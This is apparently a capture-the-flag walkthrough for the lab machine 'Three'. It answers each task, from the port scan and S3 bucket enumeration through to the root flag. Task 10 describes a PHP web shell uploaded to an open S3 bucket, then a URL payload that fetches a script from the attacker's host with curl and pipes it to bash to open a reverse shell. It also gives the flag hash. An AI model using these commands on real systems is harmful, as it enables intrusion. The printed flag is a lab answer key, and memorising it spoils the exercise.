Three
Initial Scan
Task 1
How many TCP ports are open?
Found within the initial scan
Answer: 2
Task 2
What is the domain of the email address provided in the "Contact" section of the website?
We see port 80 open on the target, when browsing the website of the target, going to Contact we see the email address.
Answer: thetoppers.htb
Task 3
In the absence of a DNS server, which Linux file can we use to resolve hostnames to IP addresses in order to be able to access the websites that point to those hostnames?
General knowledge. Using the Host file on various systems can be used in lieu of a DNS server if they are hosted internally.
Answer: /etc/hosts
Task 4
Which sub-domain is discovered during further enumeration?
After editing the host file to map the IP to the domain, we can use Gobuster to help enumerate the site.
Answer: s3.thetoppers.htb
Task 5
Which service is running on the discovered sub-domain?
Since it's s3 by amazon, also if we google: s3 subdomain
Answer: Amazon S3
Task 6
Which command line utility can be used to interact with the service running on the discovered sub-domain?
Knowing it's amazon S3, what can we use to interact with it? Googling "Interact with Amazon S3" will give us our result
Answer: awscli
Task 7
Which command is used to set up the AWS CLI installation?
aws help
will give us our answer.
Answer: aws configure
Task 8
What is the command used by the above utility to list all of the S3 buckets?
After configuring aws
we can look at the S3 documentation.
Answer: aws s3 ls
Task 9
This server is configured to run files written in what web scripting language?
Looking at the buckets with: aws --endpoint=http://s3.thetoppers.htb s3 ls
we can go into this further: aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
With this basic info we can see this would use PHP
Answer: PHP
Task 10
Submit Root Flag
So knowing it runs on PHP and with Amazons S3, we are going to work on getting a remote shell. Googling "get shell with php" I see we can use the system()
function which takes the URL parameter cmd
as an input and executes it as a system command.
With the shell file created, we can use cp
to get the file onto the server and run CMD.
Confirm that our shell is uploaded by navigating to http://thetoppers.htb/shell.php.
We are met with: uid=33(www-data) gid=33(www-data) groups=33(www-data)
the output of the OS command id
.
Now lets make a revershell script
Going to open a netcat shell with nc -nvlp 1337
Now open a temp webserver to pull our script from: python3 -m http.server 8081
Now we can use curl to get our script onto the server and executing it:
http://thetoppers.htb/shell.php?cmd=curl%20%3C10.10.14.119%3E:8081/shell.sh|bash
We now can see our reverse shell:
Now we can locate the flag and cat it's contents
Answer: a980d99281a28d638ac68b9bf9453c2b
Last updated